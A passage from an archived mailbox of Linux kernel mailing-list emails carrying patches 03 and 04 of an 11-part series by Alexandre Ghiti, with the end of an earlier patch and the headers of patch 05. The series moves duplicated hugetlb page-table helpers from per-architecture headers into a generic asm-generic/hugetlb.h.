 #define _ASM_X86_HUGETLB_H
 
 #include <asm/page.h>
-#include <asm-generic/hugetlb.h>
 
 #define hugepages_supported() boot_cpu_has(X86_FEATURE_PSE)
 
@@ -28,14 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
-					  unsigned long addr, unsigned long end,
-					  unsigned long floor,
-					  unsigned long ceiling)
-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
@@ -90,4 +81,6 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 static inline bool gigantic_page_supported(void) { return true; }
 #endif
 
+#include <asm-generic/hugetlb.h>
+
 #endif /* _ASM_X86_HUGETLB_H */
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 3da7cff52360..c697ca9dda18 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+		unsigned long addr, unsigned long end,
+		unsigned long floor, unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 03/11] hugetlb: Introduce generic version of set_huge_pte_at
Date: Thu,  5 Jul 2018 05:16:32 +0000
Lines: 180
Approved: news@gmane.org
Message-ID: <20180705051640.790-4-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530767898 27058 195.159.176.226 (5 Jul 2018 05:18:18 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:18:18 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:18:11 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1faweg-0006so-Ns
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:18:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753326AbeGEFUS (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:20:18 -0400
Original-Received: from relay10.mail.gandi.net ([217.70.178.230]:53675 "EHLO
        relay10.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752698AbeGEFUQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:20:16 -0400
X-Greylist: delayed 421 seconds by postgrey-1.27 at vger.kernel.org; Thu, 05 Jul 2018 01:20:14 EDT
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay10.mail.gandi.net (Postfix) with ESMTPSA id BFFA524000B;
        Thu,  5 Jul 2018 05:20:08 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2812038 gmane.linux.ports.arm.kernel:660923 gmane.linux.ports.ia64:28893 gmane.linux.ports.mips.general:65253 gmane.linux.ports.parisc:28744 gmane.linux.ports.ppc64.devel:159676 gmane.linux.ports.sh.devel:57166 gmane.linux.ports.sparc:28068 gmane.linux.kernel.cross-arch:45014
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2812038>

arm, ia64, mips, powerpc, sh, x86 architectures use the
same version of set_huge_pte_at, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 6 ------
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 6 ------
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 +++++++-
 10 files changed, 10 insertions(+), 37 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index d4014fbe5ea3..398fb06e8207 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4af1a800a900..874661a1dff1 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 				struct page *page, int writable);
 #define arch_make_huge_pte arch_make_huge_pte
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index afe9fa4d969b..a235d6f60fb3 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 53764050243e..8ea439041d5d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 28c23b68d38d..77c8adbac7c3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -4,6 +4,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index de46ee16b615..ba7d5d8b543f 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,12 +132,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f6a51b609409..bc552e37c1c9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 59d89b52ccb7..16b0c53ea6c9 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
 extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 #endif
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 996ce8e15365..554d5614b375 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index c697ca9dda18..ee010b756246 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 {
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
+#endif
 
-
+#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
+static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		pte_t *ptep, pte_t pte)
+{
+	set_pte_at(mm, addr, ptep, pte);
+}
 #endif
 
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 04/11] hugetlb: Introduce generic version of
 huge_ptep_get_and_clear
Date: Thu,  5 Jul 2018 05:16:33 +0000
Lines: 165
Approved: news@gmane.org
Message-ID: <20180705051640.790-5-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1530767978 800 195.159.176.226 (5 Jul 2018 05:19:38 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:19:38 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com, will.deacon@arm.com,
 tony.luck@intel.com, fenghua.yu@intel.com, ralf@linux-mips.org,
 paul.burton@mips.com, jhogan@kernel.org, jejb@parisc-linux.org,
 deller@gmx.de, benh@kernel.crashing.org, paulus@samba.org,
 mpe@ellerman.id.au, ysato@users.sourceforge.jp, dalias@libc.org,
 davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
 x86@kernel.org, arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 05 07:19:32 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1fawfz-0008WI-TM
	for linux-arm-kernel@m.gmane.org; Thu, 05 Jul 2018 07:19:32 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:References:
	In-Reply-To:Message-Id:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=RB4NARNrqzQL6Ln7n5KVFwndxM45iTlPOLqSK7mgRbI=; b=Mu+H5Kjza8PWqZcPRj3E9+qXsG
	F6J4gJ6xW0C7Iu5UrCDwU0qvuhuQi/Vnd29qV/Iqx6nP6ZAfhsH+lZhyfxlS3jRO/bdlAdDiQ+Ndz
	4JmeZTuVg2jP8v84BiCQ0kLnkLyKtLkT8x7befNz3oFbTbOaWbjIg9nRpoQOATkStdMYm23vXYjCA
	F+yVsJEa7xYxQooIk+BmOJmRTCmja84eugfC5/HISt5/+dR3/lKigb+Nl6fgTtpXzjnoXbj0gZ9x2
	j2TU4H+vG+ejPWolTGD4uuGBKDA3wCvnYmODsZUfF3m6/s/+u9xT2P/11ISQJUwq5Vwvqnogn142n
	arC73N9Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fawi5-0005ka-42; Thu, 05 Jul 2018 05:21:41 +0000
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fawhv-0005j5-Cz
 for linux-arm-kernel@lists.infradead.org; Thu, 05 Jul 2018 05:21:38 +0000
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
 (Authenticated sender: alex@ghiti.fr)
 by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 77C76C0007;
 Thu,  5 Jul 2018 05:21:14 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180705051640.790-1-alex@ghiti.fr>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180704_222131_883901_E57911C8 
X-CRM114-Status: GOOD (  10.27  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [217.70.183.198 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
 <mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-arm-kernel" <linux-arm-kernel-bounces@lists.infradead.org>
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:660924 gmane.linux.kernel:2812039 gmane.linux.ports.ia64:28894 gmane.linux.ports.mips.general:65254 gmane.linux.ports.parisc:28745 gmane.linux.ports.ppc64.devel:159677 gmane.linux.ports.sh.devel:57167 gmane.linux.ports.sparc:28069 gmane.linux.kernel.cross-arch:45015
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/660924>

arm, ia64, sh, x86 architectures use the
same version of huge_ptep_get_and_clear, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 13 insertions(+), 24 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 398fb06e8207..ad36e84b819a 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	ptep_set_wrprotect(mm, addr, ptep);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 874661a1dff1..6ae0bcafe162 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index a235d6f60fb3..6719c74da0de 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 8ea439041d5d..0959cc5a41fa 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 77c8adbac7c3..6e281e1bb336 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -8,6 +8,7 @@
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index ba7d5d8b543f..ec3e0c2e78f8 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,6 +132,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index bc552e37c1c9..08ee6c00b5e9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 16b0c53ea6c9..944e3a4bfaff 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 554d5614b375..48b8d9b13cc6 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -27,12 +27,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ee010b756246..0f6f151780dd 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
+static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	return ptep_get_and_clear(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2

From - Thu Nov 08 21:41:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 05/11] hugetlb: Introduce generic version of huge_ptep_clear_flush
Date: Thu,  5 Jul 2018 05:16:34 +0000
Lines: 157
Approved: news@gmane.org
Message-ID: <20180705051640.790-6-alex@ghiti.fr>
References: <20180705051640.790-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1530768031 5046 195.159.176.226 (5 Jul 2018 05:20:31 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 5 Jul 2018 05:20:31 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux@armlinux.org.uk, catalin.marinas@arm.com,
        will.deacon@arm.com, tony.luck@intel.com, fenghua.yu@intel.com,
        ralf@linux-mips.org, paul.burton@mips.com, jhogan@kernel.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 05 07:20:24 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fawgp-0001A6-Bq
	for glk-linux-kernel-4@m.gmane.org; Thu, 05 Jul 2018 07:20:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753096AbeGEFW3 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 5 Jul 2018 01:22:29 -0400
Original-Received: from relay6-d.mail.gandi.net ([217.70.183.198]:43907 "EHLO
        relay6-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1750967AbeGEFW2 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 5 Jul 2018 01:22:28 -0400
X-Greylist: delayed 331 seconds by postgrey-1.27 at vger.kernel.org; Thu, 05 Jul 2018 01:22:26 EDT
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay6-d.mail.gandi.net (Postfix) with ESMTPSA id 2EAF2C0006;
        Thu,  5 Jul 2018 05:22:20 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
